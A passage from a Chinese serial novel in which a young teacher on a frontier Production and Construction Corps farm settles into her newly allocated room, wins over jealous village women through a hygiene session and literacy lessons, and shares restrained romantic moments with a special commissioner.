她看向王老五,语气依旧平和:“王大哥,你希望说媒成功,成家立业,这是人之常情。但你想过没有,如果你未来的孩子,不用像我们现在这样,晚上挤在炕沿上、就着煤油灯看东西都费劲,他是不是能更有出息?是不是能为我们兵团、为国家做更大的贡献?” 王老五愣住了,一时不知该怎么回答。 舒染又看向其他人:“还有各位家里有孩子,或者将来会有孩子的叔伯婶娘,我们辛苦建设边疆是为了什么?不就是为了下一代能过得更好,更有希望吗?启明小学现在条件还差,但这间房子,就是一个开始。它不仅仅是我的宿舍,以后也会是学校的图书角,是孩子们课余可以来看书、学习的地方。我向大家保证,这间房子,每一寸土地,都会用在为连队培养下一代的事情上!” 大家听了她这番话,反而顺耳很多。她似乎没有纠结于个人得失,而是把分房的意义拔高到了整个连队的未来和下一代的培养上,将“个人住房”变成了“启明小学的教学配套设施”。 现场一片寂静。原本那些嘀咕的人,也哑口无言。反对?那就是反对给孩子们创造更好的学习环境,反对连队的未来希望。这顶帽子,谁也戴不起。 王老五嘟囔了一句:“俺……俺又不是那个意思……”然后灰溜溜地挤出了人群。 刘书记和马连长交换了一个眼神,都看到了彼此眼中的赞赏。这姑娘,不仅有能力,更有智慧,懂得因势利导,把不利局面扭转成了有利局面。 “好了好了,都散了吧!该干嘛干嘛去!”马连长挥挥手,“公示三天,有意见按程序反映,别在这里聚众闹事!” 人群渐渐散去。舒染站在原地,轻轻松了口气,后背却惊出了一层汗。她知道,这一关,算是暂时过去了。但真正的麻烦,恐怕还在后头。 她看了一眼那几间崭新的土坯房,眼神更加坚定。这房子,她必须要住进去,这不仅关乎她的生存空间,更关乎她在这里立足的根本和未来工作的展开。 公示的三天里,表面上风平浪静,但暗地里的波澜却从未停止。 舒染明显感觉到,连队里有些人看她的眼神变了。以前是客气或者疏远,现在多了些复杂的意味,有羡慕,有嫉妒,也有审视。去食堂打饭,她能感觉到背后指指点点的目光。甚至有天晚上回宿舍,发现晾在外面的衣服掉在了地上,沾满了泥灰,明显是被人故意碰掉的。 她没说什么,把衣服捡起来重新洗过。她知道,这是某些人无能狂怒的表现。 王大姐和李秀兰为她抱不平。 “肯定是李大嘴家那婆娘干的!缺德玩意儿!”王大姐气得不行。 “就是,眼红病!舒老师你别怕,咱们身正不怕影子斜!”李秀兰也愤愤道。 舒染反而安慰她们:“没事,一点小动作,伤不了筋动不了骨。她们越是这样,越说明我们做得对。比起我得到了,一件掉在地上的衣服算不得什么” 她心里清楚,这些小事纠缠不清,反而落了下乘。她现在要做的,就是稳住,用事实说话。 第三天下午,公示期结束,再也没有人正式提出异议。分房方案就算是通过了。 刘书记把舒染叫到连部,把一把钥匙递到她手里:“舒染同志,给,这是你那间房的钥匙。位置在最后面那排,东头第一间,相对安静些。房子是毛坯,里面啥也没有,得你自己拾掇。” 舒染接过钥匙,“谢谢书记!我自己能收拾。” 从连部出来,她直接去了那间属于她的房子。 土黄色的墙壁还带着潮湿的气息,门是简陋的木板拼成的,窗户不大,糊着粗糙的麻纸。 推开吱呀作响的木门,里面空空荡荡,地面是夯实的泥土地,墙角甚至能看到几根冒头的草芽。面积大概只有十七八个平方。 但在舒染眼里,这却是穿越到这个世界以来,最美好的地方。她深深地吸了一口带着泥土味的空气,胸腔被喜悦填满。 终于有一个完全属于自己的空间了! 她没有耽搁,立刻开始动手。清扫地面,用早就攒下的旧报纸糊墙壁,把从宿舍搬来的樟木箱放好,又用砖头和几块旧木板搭了一个简易的床铺和书桌。 王大姐和李秀兰都来帮忙,许君君也抽空过来,送了她一个旧的搪瓷盆和一个暖水壶,还有一个小铝锅。 “总算有个窝了!”许君君打量着整洁一新的小屋,由衷地替她高兴。 舒染笑着点头,心里盘算着还得弄个帘子,把睡觉和“工作区”隔开。 正忙碌着,门口光线一暗,一个高大的身影堵住了门。 是陈远疆。 他站在门口,没有立刻进来,目光在屋里扫了一圈,最后落在舒染的脸上。 “陈特派员。”舒染直起身,有些意外。 王大姐、许君君、李秀兰互相使了个眼色,默契地找了个借口溜了出去,把空间留给他们。 陈远疆这才迈步进来,他个子高,进这低矮的土坯房需要微微低头。他手里拎着个麻袋,放在地上,发出沉闷的响声。 “这是什么?”舒染好奇。 陈远疆没直接回答,而是看了看她搭的床铺和书桌,眉头皱了皱:“这木头不结实,久了会塌。” 说着,他蹲下身,从麻袋里掏出几件东西——一把斧头,一把锯子,还有几根粗细均匀、一看就挺结实的木料。 “我帮你加固一下。”他言简意赅,然后也不等舒染回应,就拿起工具开始忙活起来。 舒染看着他熟练地量尺寸、锯木头、用不知从哪里摸出来的钉子加固她那个简陋的床架和书桌。 她没有打扰他,只是默默地给他倒了碗水放在旁边。 房间里只有斧锯敲打的声音,和两人之间略带尴尬又有些暧昧的气氛。 过了好一会儿,陈远疆才直起身,“好了,应该能用了。” 舒染看着被加固得稳稳当当的床和桌子,轻声道谢,她把水碗递过去。 陈远疆接过碗,仰头咕咚咕咚喝了大半。放下碗,他目光再次扫过屋子,最后落在那个唯一的窗户上。 “晚上风大,窗户要关严。”他顿了顿,像是想起了什么,又从麻袋里掏出一小块用旧军装布包着的东西,递给舒染,“这个钉在窗户里面,既能挡风,也稍微避避……光。” 舒染接过来打开,是一块厚实的深蓝色土布,大小刚好能盖住窗户。 她捏着那块布,抬头看向他。 陈远疆却避开了她的目光,弯腰拎起麻袋和工具:“我走了。有事可以去我办公室找我。” 说完,他几乎是有些匆忙地转身离开了。 舒染知道,他在避嫌。 舒染握着那块厚布走到窗边,比划着那块布,除了窗帘,还得弄个煤油灯,或许……还能在门口开一小块地,种点容易活的菜? 正当她沉浸在对新生活的憧憬中时,一个声音在门外响起:“舒老师,这就搬进来啦?动作可真快!” 舒染脸上的笑容淡了下去。她转过身,看到李大嘴的婆娘和另外两个面生的妇女站在门口,脸上带着似笑非笑的表情,眼神里满是不善。 舒染知道这乔迁之喜没那么容易安稳度过。她深吸一口气,脸上重新挂上从容得体的微笑,迎了上去。 第99章 看着门口以李大嘴婆娘为首的几个妇女, 舒染心知这是来者不善。 她脸上那点因陈远疆来访而泛起的暖意迅速收敛,换上了一种客气而疏离的笑容。 “是红花嫂子啊,还有这两位嫂子, 快请进来坐。”舒染侧身让开门口,语气不卑不亢, “刚搬进来,乱得很,连个坐的地方都没有, 让你们见笑了。” 李大嘴婆娘,本名王红花,三角眼在屋里骨碌碌转了一圈,重点在那加固过的床铺、书桌, 以及舒染还没来得及挂上的深蓝色窗户布上停留了片刻, 嘴角撇了撇:“哟, 舒老师这动作可真利索, 这才拿到啊, 就收拾得像模像样了, 一个人收拾不过来吧。到底是城里来的文化人,会邀人。” 她这话听着像夸, 实则暗指舒染早有准备,或者得了什么特别的帮助。旁边两个妇女也跟着附和, 眼神里充满了嫉妒。 舒染仿若未觉,只是笑道:“都是大家帮忙, 王大姐、秀兰, 还有许卫生员都搭了把手。领导把房子分给我,是信任,我也不能太邋遢, 给组织丢脸不是?”她没提陈远疆。 王红花被噎了一下,哼了一声,视线又落到墙角那口显眼的樟木箱上,语气更酸了:“还是舒老师家底厚,瞧这大箱子,咱们这些人啊,全部家当加起来也没这一箱子值钱吧?” 这是又要拿成分说事了。舒染心里明镜似的,面上却依旧带着笑:“嫂子说笑了,这都是家里老人给准备的旧东西,不值什么钱,也就是个念想。在咱们兵团,比的是劳动贡献,可不是比谁家箱子大。”她再次把话题引回正道。 王红花几次发难都被舒染轻描淡写地挡了回来,心里那股邪火更旺了,她往前凑了凑,压低了些声音,却足以让屋里屋外的人都听见:“舒老师,不是嫂子说你,你一个没出嫁的大姑娘,单独住这么一间房,这……这影响多不好?晚上有个啥事,叫天天不应的,万一有点风言风语,你这名声还要不要了?” 这话就相当恶毒了,直接攻击舒染的性别和名誉。 舒染眼神瞬间冷了下来,但她还没开口,一个洪亮的声音就从门外传了进来:“王红花!你胡咧咧啥呢!” 话音未落,王大姐就风风火火地走了进来,她刚才出去显然是听到了风声,特意赶回来的。她如今是连队正式的妇女代表,管的就是家属工作和妇女思想,这一嗓子颇具威严。 王红花见到王大姐,气势顿时矮了半截,讪讪道:“王大姐,我……我也是为了舒老师好……” “为了她好?”王大姐双手叉腰,站在舒染身前,“我看你就是眼红病犯了!组织上分房给舒老师,那是为了工作!是为了咱们连队的孩子!你在这儿扯什么姑娘名声?按你这说法,咱们兵团那么多单身女职工,都别要个人空间了,都挤大通铺去算了?你这思想觉悟有待提高!” 王大姐如今说话也很有水平,直接扣了个“思想觉悟”的帽子。 王红花脸一阵红一阵白,嘟囔着:“我……我不是那个意思……” “不是那个意思就闭嘴!”王大姐毫不客气,“舒老师是咱们连队的先进,是给咱们大家争光的人!她的工作的重要性,刘书记马连长都在大会上讲过!你们几个,不好好想着怎么支持学校工作,尽在这儿嚼舌根、拖后腿!再让我听见谁在背后乱传舒老师的闲话,别怪我报到连里,按破坏团结处理!” 王大姐如今是妇女代表,说话还是比较有分量。另外两个妇女见状,连忙拉着王红花:“走了走了,红花,少说两句……” “王代表,我们就是来看看,没别的意思……” 三人灰溜溜地走了。 舒染看着王大姐为她挺身而出的背影,心里暖融融的。“王大姐,谢谢你。” 王大姐转过身,拍了拍她的手:“谢啥!你现在是咱们连队的宝贝疙瘩,谁敢欺负你,我第一个不答应!” 她看了看舒染这小屋,叹口气,“你这儿啥都缺,明天我发动几个大老爷们来帮你盘个灶台,好歹能烧点热水。” “不用麻烦了,我自己能行……” “啥麻烦不麻烦的!你为连队做了这么多,我们帮这点小忙算什么?”王大姐不由分说,突然好像想起什么似的,揶揄地笑笑:“噢!我真是多此一举,人陈特派员肯定早都想到了!” 王大姐那句带着揶揄的打趣,让舒染脸上有些发烫,下意识地摸了摸那块厚实挡风的深蓝色窗户布。 “他哪想得到这么多……”舒染低声自语,像是反驳王大姐,又像是提醒自己。 她摇摇头,甩开这些纷乱的思绪,现在不是想这些的时候。当务之急,是把这间属于自己的小窝拾掇得像样点。 送走了王大姐,小屋空荡下来,除了那口樟木箱、加固过的床板和书桌,几乎别无他物。地面是夯实的泥土地,舒染挽起袖子,找来扫帚,里里外外仔细清扫了一遍。 忙完这些,已是傍晚。舒染直起有些酸痛的腰,打量着这间焕然一新的小屋,一种踏实感和归属感油然而生。 这里,将是她安身立命、施展抱负的根据地。 她从樟木箱最底层取出一罐雪花膏,把手仔仔细细涂抹了一遍。 “咚咚咚——”轻轻的敲门声响起。 “谁?”舒染警惕地问。刚经历了分房风波,她不得不更加谨慎。 “舒老师,是我,秀兰。”门外是李秀兰压低的声音。 舒染松了口气,打开门。李秀兰端着一个粗陶碗闪了进来,碗里是冒着热气的玉米面糊糊,上面还点缀着几根咸菜丝。 “知道你刚搬过来,肯定没开火,给你送点吃的。”李秀兰把碗塞到舒染手里,好奇地打量着被报纸糊过的墙壁和挂上的窗帘,“哟,拾掇得真快!这窗帘布颜色挺厚实,挡风好。” 舒染接过碗,心里暖烘烘的:“谢谢你,秀兰。快坐。”屋里没凳子,两人就并肩坐在了床板上。 李秀兰吸了吸鼻子,忽然压低声音,带着点神秘和兴奋:“舒老师,我今天在副业队,我看到熬完羊油的渣子了,闻着是有点膻,但油乎乎的。你说,这东西能不能用来做润肤膏?” 舒染眼睛一亮:“羊油渣?说不定真行!关键是去味和提纯。君君那里有甘油,我们可以试试把过滤干净的羊油和甘油混合,也许还能加点有香味的东西,比如……晒干的沙枣花?” 她想起戈壁滩上那些不起眼却顽强绽放的沙枣树,花期时也会散发浓郁的花香。 “沙枣花?这个好找!等开春了,咱们就去摘!”李秀兰越发兴奋,“对了,王大姐刚才碰到我,说盘灶台的事她记着呢,明天就找孙师傅。” “嗯,大姐热心,我都不知道该怎么谢她。”舒染舀了一勺温热的糊糊送进嘴里,胃里和心里都踏实了不少。 “谢啥,你帮咱们妇女想的才是大事呢!”李秀兰说着,目光看向舒染的樟木箱,犹豫了一下,还是提醒道,“舒老师,你这屋……有些东西,还是收收好。现在盯着你的人,明里暗里都有。” 舒染知道,李秀兰的意思是之前周巧珍开箱检查的风波不要重演。 舒染点了点头:“我明白,秀兰。”她深知李秀兰的提醒是出于好意。这间独立的小屋,在给她带来自由和空间的同时,也让她更直接地暴露在众人的目光之下,尤其是那些不那么友善的目光。 送走李秀兰,舒染将碗洗干净,放在余留的新灶台位置边。 夜色渐深,外面起风了。舒染点亮煤油灯,火苗跳动,将她的身影拉长,投在糊着报纸的墙壁上。 独自一人的夜晚,白天的兴奋和忙碌褪去,一种孤独感悄然袭来。让过了这么久集体生活的她觉得很不习惯。 她铺开纸张,就着灯光,开始规划今后的计划。她写着画着,眼神专注。 窗外,风声似乎小了些。她听到远处传来隐约的马蹄声,由远及近,又由近及远。 “不想了,睡觉。”舒染放下笔,抻了抻胳膊,吹熄了煤油灯。 第二天,舒染去水渠边洗衣服,明显感觉到了一些异样。几个原本在一起说说笑笑洗衣服的妇女,见她过来,声音顿时小了下去,眼神躲闪,等她走远,又能听到隐约的议论声。 “……瞧她那手,嫩得跟葱白似的,哪像干活的手……” “人家是老师,是文化人,当然跟咱们不一样……” “用了雪花膏了吧?闻着挺香……” “啧啧,资本家小姐做派……” 这些声音不大,却扎得人很不舒服。舒染知道,光是依靠压制是不够的,必须从根本上扭转这些妇女的看法,或者至少,分化她们,争取大多数。 她一边搓洗着衣服,一边冷静地思考。这些妇女并非大奸大恶之徒,她们只是被艰苦的生活磨去了耐心,又被固有的观念和狭隘的嫉妒心蒙蔽了眼睛。她们排斥她,一方面是因为她得到了稀缺的资源,另一方面,也是因为她身上那种“不同”,触动了她们内心因劳碌而被迫放弃的很多东西。 想到这里,舒染心里有了主意。 第100章 第二天下午, 学校放学后,舒染没有直接回自己的小屋,而是去了王大姐和李秀兰住的地窝子。 王大姐正在家门口纳鞋底, 看到她来,热情地招呼:“舒老师来了, 快坐。” “大姐,不坐了,我来是想跟你商量个事。”舒染拿出一个小布包, 打开,里面是两块崭新的香皂和两盒雪花膏。 王大姐一看,惊讶道:“哎呦!这稀罕东西你不是早用来换人情了吗!你又从哪儿弄来的?” “是我从师部带来的,还剩这些没舍得用。”舒染笑着说, “大姐, 我想借你这个妇女代表的地方, 组织咱们连队的妇女同志们, 搞个小活动。” “活动?啥活动?”王大姐好奇。 “就教大家怎么把手洗干净, 怎么保护皮肤。”舒染拿起一块香皂, “你看咱们这地方,风沙大, 日头毒,整天干活, 手都糙得不行,裂了口子又疼又容易感染。尤其是做饭喂孩子的, 手不干净也不卫生。我想着, 咱们女人,就算在戈壁滩,也不能忘了心疼自己, 活得干净体面一点,没坏处。” 王大姐看着那香皂和雪花膏,又看看自己粗糙开裂的手,心里一动。 她何尝不想让自己看起来利索点?只是条件不允许,也没那个意识。 “你这想法……能行吗?会不会有人说咱资产阶级作风?”王大姐有些顾虑。 舒染早有准备:“大姐,这跟资产阶级不沾边。讲卫生,防疾病,这是科学。许卫生员不也天天强调要洗手吗?咱们这是响应卫生号召。再说了,把自己收拾干净了,干活更有劲,回家看着也舒心,有利于家庭和睦,这也是促进连队团结稳定嘛。” 她这话说到了王大姐心坎里。作为妇女代表,她正愁没什么切实有效的工作抓手来团结妇女呢。 “成!”王大姐一拍大腿,“这事我看行!就在我家院子里办!我明天就去通知人!” 消息一出,果然在妇女中间引起了不小的反响。有好奇的,有期待的,也有像王红花那样嗤之以鼻的。 “瞎折腾啥?洗个手还用教?” “就是,还抹雪花膏?那是咱们能用得起的东西?” “我看她就是钱多烧的,显摆!” 但更多的妇女,尤其是年轻些的,心里那点对美的渴望被勾了起来。加上王大姐以妇女代表的名义发动,又有“讲卫生防疾病”这个由头,第二天下午,王大姐和李秀兰的地窝子门口,竟然陆陆续续来了二三十个妇女,大家在一起谝闲话,好不热闹。 舒染看着到场的人,心里有了底。她让王大姐烧了一大锅温水,又准备了几个干净的盆。 活动开始,舒染没有讲什么大道理,而是先让每个人都看看自己的手。 “婶子,嫂子们,咱们先互相看看,咱们这双手,一天要干多少活?种地、洗衣、做饭、喂鸡、带孩子……没有这双手,就没有咱们连队的粮食丰收,没有家家户户的热炕头。这双手,是咱们劳动的光荣见证!” “但是,”她话锋一转,拿起一块香皂,“光荣的手,也得爱护。手上脏,容易带病菌,病了不仅自己受罪,还耽误干活,传给家人孩子更麻烦。咱们今天,就先学学怎么把这双光荣的手,洗得既干净,又不那么伤皮肤。” 她亲自示范,用温水打湿手,抹上香皂,细致地揉搓出泡沫,连指甲缝都不放过:“这样搓,才能把脏东西都洗掉。”然后冲洗干净,用干净布擦干。 她又打开一盒雪花膏,挖了一点,在手背上轻轻涂抹开:“咱们这地方干,洗了手更干,抹点这个,能保护皮肤,不容易裂口子。这东西虽然稀罕,但一点点就能用很久,而且不一定非要用买的,咱们以后也可以自己试着用土方子做。” 她讲解得通俗易懂,动作从容。洗过的手确实看起来清爽干净,抹了雪花膏后,更是带给人一种细腻滋润的感觉。 妇女们看着她的动作,闻着空气中弥漫的淡淡香气,眼神都亮了起来。 “来,大家都来试试。”舒染和王大姐一起,招呼大家轮流上来洗手,并给每个人都抹了一点点雪花膏。 起初大家还有些拘谨和不好意思,但在舒染和王大姐的鼓励下,都小心翼翼地伸出了手。 “哎呀,这滑溜溜的,真舒服!” “嘿,洗完了手是白净了不少!” “这香味真好闻……” “抹上这个,手上好像没那么紧绷了……” 院子里渐渐充满了欢声笑语。就连一开始抱着看热闹心态来的几个妇女,在亲自体验后,态度也明显软化了许多。 王红花也被她相熟的几个妇女硬拉了过来,站在人群外围,看着舒染耐心地教一个年轻小媳妇怎么搓洗指甲缝,眼神复杂。 舒染看到王红花,并没有刻意避开,反而主动拿起另一块香皂走过去,笑容温和:“红花嫂子,你也来试试?整天做饭,手更得注意卫生。” 王红花看着递到眼前的香皂,又看看舒染的笑容,脸上有些挂不住,别扭地接过,嘟囔了一句:“试试就试试……” 舒染顺势拉过她的手,就着盆里的水,一边教她怎么打泡沫,一边轻声说:“嫂子,我知道前些天分房的事,你心里可能有些不痛快。但咱们女人何苦为难女人?在这戈壁滩上,咱们更应该互相帮衬。你看,把自个儿收拾利索了,心情也好不是?家里爷们儿孩子看着也高兴。” 王红花听着这话,感受着手心滑腻的触感和舒染指尖的温度,再闻着那好闻的香味,紧绷的脸色不知不觉缓和了些。她没说话,但也没甩开舒染的手。 舒染知道,撬开了一道缝就好。 活动结束时,舒染把那两块香皂和剩下的雪花膏都交给了王大姐:“大姐,这东西就放你这儿,以后咱们妇女搞活动,或者谁家真有需要,比如手裂得厉害影响干活了,就来你这儿借用一点。咱们慢慢来,以后条件好了,争取让咱们连队的妇女,个个都能用上。” 王大姐激动地接过:“舒老师,你这……你这真是想到我们心坎里去了!” 在场的妇女们看着舒染,眼神里的排斥和嫉妒,大多转化为了感激和敬佩。她们发现,这个资本家小姐出身的舒老师,她懂她们的辛苦,也愿意分享好东西,更是在为她们着想。 “舒老师,以后有啥事,你说话!” “对,学校有啥要帮忙的,我们也尽力!” “舒老师,你这雪花膏真好用……” 舒染笑着应承,她知道,这一步走对了。 她看着院子里那些女人们,心里充满了成就感。 舒染发起的洗手护肤小活动,效果是显而易见的。再去水渠边洗衣服,先前那些躲闪和窃窃私语少了许多。取而代之的是略显腼腆的招呼和好奇的目光。 “舒老师,洗衣服呢?” “舒老师,你上次那个法子真管用,我这手裂口好像没那么疼了。” 甚至有人主动凑过来,压低声音问:“舒老师,那雪花膏……除了上海带的,还有别的法子弄到不?哪怕味道差点的也行……” 舒染一一耐心回应,分享一些力所能及的替代方法,比如用烧热的羊油稍微冷却后涂抹,也能起到一定的滋润效果。她深知,一点点香皂雪花膏只能暂时拉近距离,真正要赢得尊重和稳固地位,还得靠自身硬。 她把更多精力投入工作中。有了独立的小屋,工作效率大大提高。 林雪舟在在观星活动的合作后,对舒染的态度明显不同。他依然坚持系统教学的重要性,但不再强行推行脱离实际的知识,而是开始协助舒染整理规范那些源自生活的教学材料,利用他扎实的文学功底,将口语化的内容提炼得更加准确精炼。两人一个接地气,一个严谨规范有体系,倒是形成了一种互补。 “舒老师,这部分关于牲畜常见病症的描述,是否可以用更简洁的排比句式?便于记忆。”林雪舟拿着舒染写的草稿,认真建议。 “好,你改。”舒染头也不抬,正在画简易的包扎步骤图,“只要意思没错,怎么顺口怎么来。” 这种专注于工作的氛围,冲淡了小屋刚分配时的流言蜚语。 这天,扫盲班课堂上,由于李秀兰和王大姐有工作任务脱不开身,舒染只好继续顶上。 来上课的妇女比平时多了几个,包括王红花,她虽然还是别别扭扭的,但也被相熟的姐妹拉了来,坐在角落里。舒染正在教大家认写日常接触最多的票据名称和关键信息。 轮到练习写生字时,王红花盯着本子,手里的铅笔头都快捏断了,写出来的字还是歪歪扭扭,像蚯蚓爬。她越急越写不好,额头冒汗,旁边有人忍不住低低笑了一声。 王红花脸一下子涨红了,猛地摔下铅笔,声音拔高:“认这些破字有啥用!能当饭吃还是能当衣穿?俺不学了!”说着就要起身离开。 课堂气氛一下子僵住了。 舒染心里叹了口气,走到王红花身边,捡起那支铅笔,看了看她本子上歪斜的字,平静地说:“桂花嫂子,你觉得认字没用?” “没用!”王红花梗着脖子,但眼神有些闪烁。 “那我问你,”舒染拿起一张模拟的领取通知,“你因为文盲,在生活中白费了多少工夫,吃过多少亏?” 王 红花一愣,张了张嘴,没说出话。这事确实发生过,她当时还抱怨了好久。 “还有,”舒染又拿起另一张模拟的“工分票”,“你的工分有没有因为不识字出岔子?” 王红花的脸色由红转白,气势明显弱了下去。周围几个妇女也想起了类似的事情,纷纷点头小声议论。 “是啊,不认字是吃亏……” “上次俺就把碱面当淀粉领回来了,差点没把牙齁掉……” 舒染看着王红花,语气缓和:“嫂子,认字不是为了显摆,是为了咱们自己不吃亏,不上当,能把日子过得更明白。你现在觉得难,写不好,没关系,咱们慢慢来。你看春草娘,刚开始连名字都不会写,现在不也能看个简单的借条了?” 被点名的春草娘不好意思地笑了笑。 王红花站在那里,走也不是,留也不是,脸上青一阵白一阵。 舒染把铅笔重新塞回她手里,声音放得更柔:“嫂子,再试试?就从写你自己的名字开始。以后领东西、记工分,就不用再按手印,堂堂正正签上自己的名字,多提气?” 这话说到了王红花心坎里。按手印总感觉低人一等。她犹豫了一下,最终还是慢慢坐了下来,重新拿起了笔,态度认真了许多。 舒染暗暗松了口气。她知道,对于王红花这样的人,讲大道理不如摆实际利害。她回到讲台前,继续上课,仿佛刚才的小插曲从未发生。 下课后,妇女们陆续离开。王红花磨磨蹭蹭走在最后,等人都走了,她才飞快地塞给舒染一个小布包,声音低得像蚊子哼:“自家腌的萝卜干,不值钱……给你就吃。” 说完,不等舒染反应,就快步走了。 舒染拿着那包萝卜干,看着王红花有些仓促的背影,嘴角微微扬起。这或许算不上冰释前嫌,但至少,是一个好的开始。 收拾好东西,锁好教室门,舒染踏着月色往回走。戈壁滩的夜晚,万籁俱寂,只有风吹过红柳丛的沙沙声。 她享受这份独处的宁静,脑子里还在盘算着明天的工作。 快到她那间小屋时,她隐约看到门口似乎有个黑影。 舒染立刻警惕地停下脚步,手下意识地摸向口袋——那里有她一直随身携带的,阿迪力送她的小匕首。 “谁?”她压低声音喝道,心脏怦怦直跳。 那黑影动了一下,一个熟悉的声音响起:“是我。”《 》 100-110 第101章 是陈远疆。 舒染提到嗓子眼的心瞬间落回原处, 随即又涌上一股气恼。她快步走过去,借着月光看清他倚靠在她门边的身影,语气不由得带上了几分嗔怪:“陈特派员!你大半夜不声不响站在这儿, 是想吓死人吗?” 陈远疆似乎没料到她会是这个反应,愣了一下, 才站直身体,“路过。看你还没回来。” “路过?”舒染挑眉,看了看这僻静的角落, 离连部和他常去的巡逻路线都有一段距离,“陈特派员巡逻的范围还挺广。” 陈远疆被噎住,沉默了一下,才转移话题:“这么晚, 不安全。” “我知道不安全, ”舒染没好气, “所以差点把你当坏人给捅了。”她晃了晃手里的匕首, 寒光在月光下一闪。 陈远疆的目光在她手上的匕首停留一瞬, 眉头皱了一下:“以后尽量早点回。” “工作没做完。”舒染一边拿出钥匙开门, 一边说,“陈特派员要是没事, 就请回吧,我要休息了。” 她这算是下了逐客令。一方面是真被他吓了一跳有点恼, 另一方面,也是不想让他觉得自己好像一直在等他似的。 陈远疆却没动。 舒染打开门, 转身看他:“还有事?” 月光下, 他的轮廓显得有些模糊,但那双眼睛却格外深邃。他看着她,似乎犹豫了一下, 才从身后拿出一个东西,递过来。 “这个,给你。” 舒染接过来,冰凉的金屬外壳,圆柱形——是一把手电筒。 这年头,手电筒在兵团也是紧俏物资,电池更是金贵。 “照着路走。”陈远疆言简意赅地解释,目光扫过她身后那片黑暗的小路,“晚上回来,亮堂点。” “谢谢。”这次的道谢真诚了许多。舒染按了一下开关,一束光柱在地上投下一个光圈。 “嗯。”陈远疆应了一声,看着她手中亮起的光,似乎满意了,转身就要走。 “等等。”舒染叫住他,想起王红花给的萝卜干,拿出那个小布包塞到他手里,“这个,给你。王红花嫂子给的,我吃不完。” 陈远疆看着手里突然多出来的布包,有些错愕。 “礼尚往来。”舒染笑了笑,不等他拒绝,便退回屋里,“路上小心。” 她关上门。 门外的陈远疆站在月色下,低头看着手里那包萝卜干,脸上露出柔和。他将布包揣进怀里,这才大步流星地离开。 小屋内的舒染,将手电筒放在桌子最顺手的位置,开始洗漱。她心里盘算着,下次去师部,是不是该买点毛线?天气渐渐凉了,或许……可以织条围巾?这个念头刚冒出来,她就赶紧摇摇头,把自己那点旖旎的心思压下去。 事业才刚刚起步,感情的事,顺其自然吧,绝对不能影响主线任务。 秋意渐深,启明小学里却是一派热火朝天的景象。 舒染在教室正领着孩子们朗读她自编的《畜牧连实用识字歌谣》: “小羊羔,咩咩叫,吃饱青草长得好。” “拖拉机,轰隆隆,翻松土地好播种。” “工分票,记得牢,多劳多得心明了。” 林雪舟在教室后排听课,钢笔在笔记本上飞快记录着。他不得不承认,舒染这套土办法虽然缺乏他推崇的系统性,但其强大的生命力和实用性,正在这些孩子身上展现出来。 下课铃响起,孩子们涌出教室,在夯实的教室院子里追逐嬉戏。舒染和林雪舟走到教室门口,看着这群孩子。 “进度比预想的要快。”林雪舟合上笔记本,“尤其是结合了牧区生活词汇后,牧民娃娃的接受度明显提高了。” “生活是最好的老师。”舒染用抹布擦掉黑板上的字迹,节省着粉笔的消耗,“让他们觉得学的东西有用,他们自己就会使劲。” “嗯。”林雪舟表示同意,随即又道,“不过,基础拼音和算术规律也不能放松,我这边提高组的几个孩子,已经可以尝试更复杂一点的运算了。” “你那边按计划推进就好。”舒染点头,“需要我配合什么,尽管说。” 两人之间,已然形成了一种基于共同目标的工作默契。 这时,王大姐风风火火地来了,手里拎着个小篮子。“舒老师,林老师!”她嗓门洪亮,“刚出锅的豆腐渣饼子,李秀兰让我带给孩子们垫垫肚子!” 孩子们一听,欢呼着围了上来。王大姐乐呵呵地分发,还不忘叮嘱:“慢点吃,别噎着!石头,看着点弟弟妹妹!” 舒染看着她麻利的动作和在孩子中间的威信,心里一动。她走过去,低声对王大姐说:“大姐,扫盲班那边,最近大家积极性怎么样?” “好着呢!”王大姐脸上放光,“自打上次你教了怎么认字、记字、识字,好些人回去就琢磨上了!红花那家伙,昨天还跑来问我‘注意事项’是啥意思呢!我看啊,她比谁都上心!” 舒染笑了:“那就好。大姐,你现在是妇女代表,威信高,我想着,以后扫盲班日常的考勤、学习小组的划分,还有大家学习上遇到的普遍困难,你能不能多费心帮我收集整理一下?这样我备课也更有针对性。” 王大姐一听,这是把她当自己人,委以重任啊!她立刻挺直腰板:“没问题!包在我身上!谁要敢偷懒,我第一个不答应!”她现在越发觉得,跟着舒染干,不仅脸上有光,心里也亮堂。 送走王大姐和孩子们,舒染和林雪舟开始收拾教室。 “舒老师,”林雪舟一边摆放歪斜的板凳,一边看似随意地问,“你下次去师部述职,是什么时候?” “后天。”舒染弯腰捡起地上掉落的半截铅笔头,小心地放回笔盒,“怎么了?” “我整理了一份近期教学总结和孩子们的学习情况分析,或许……你可以带给孙处长看看。” 林雪舟语气有些不太自然,递过来几张写得密密麻麻的信纸,“我们这里条件虽然艰苦,但工作是在扎实推进的。让上级了解真实情况,也许……能争取到更多支持。” 舒染有些意外地接过那几张纸。林雪舟的字迹工整有力,条理清晰,不仅记录了学生的学习进展,还附上了一些他对改进教学方法的思考,虽然其中仍带着些学院派的理想化,但看得出是用了心的。 “好,我会的。”舒染认真收起,“谢谢你了,林老师。” 林雪舟推了推眼镜,掩饰住一丝窘迫:“都是为了工作。” 去师部的前一天,舒染在自己的小屋里整理述职材料。除了林雪舟那份,她更多的是自己准备的——厚厚一沓用各种废纸装订成的教材雏形、扫盲班妇女们写的歪歪扭扭但极其认真的作业样本、还有她画的许多反映兵团生活和牧区风情的简易插图。她要把畜牧连这个基层示范点最鲜活、最真实的一面展现出去。 窗外传来熟悉的马蹄声,由远及近,最后在她的小屋外停下。 舒染心头微动,放下笔,走到窗边,透过那块深蓝色窗帘的缝隙向外看。 陈远疆利落地翻身下马。他没有敲门,而是像上次一样,似乎只是路过,目光习惯性地扫过她的小屋,重点在窗户和门锁上停留片刻。 舒染深吸一口气,主动推开门走了出去。 “陈特派员。”她打招呼。 陈远疆似乎没料到她会突然出来,身形顿了一下,才转过身,目光落在她脸上:“嗯。” “我明天去师部述职。”舒染直接说道。 “知道。”陈远疆仿佛算准了日子一般。 一阵短暂的沉默。 “路上,注意安全。”陈远疆终于又挤出几个字,视线微微移开,看向别处。 “嗯。”舒染点头,忽然想起件事,“对了,陈特派员,上次谢谢你送的手电筒,很实用。” 陈远疆没回头,只从发出一个“嗯”的音。 又是一阵沉默。 舒染看着他那副明明关心却死死绷着的模样,心里觉得好笑,又有点柔软。她决定再主动一点,毕竟,感情的投资也需要策略。 “我去师部,你有什么需要捎带的东西吗?或者……有没有什么话,需要我带给谁?”她故意问得含糊,带着一丝试探。 陈远疆看向她,“没有。” 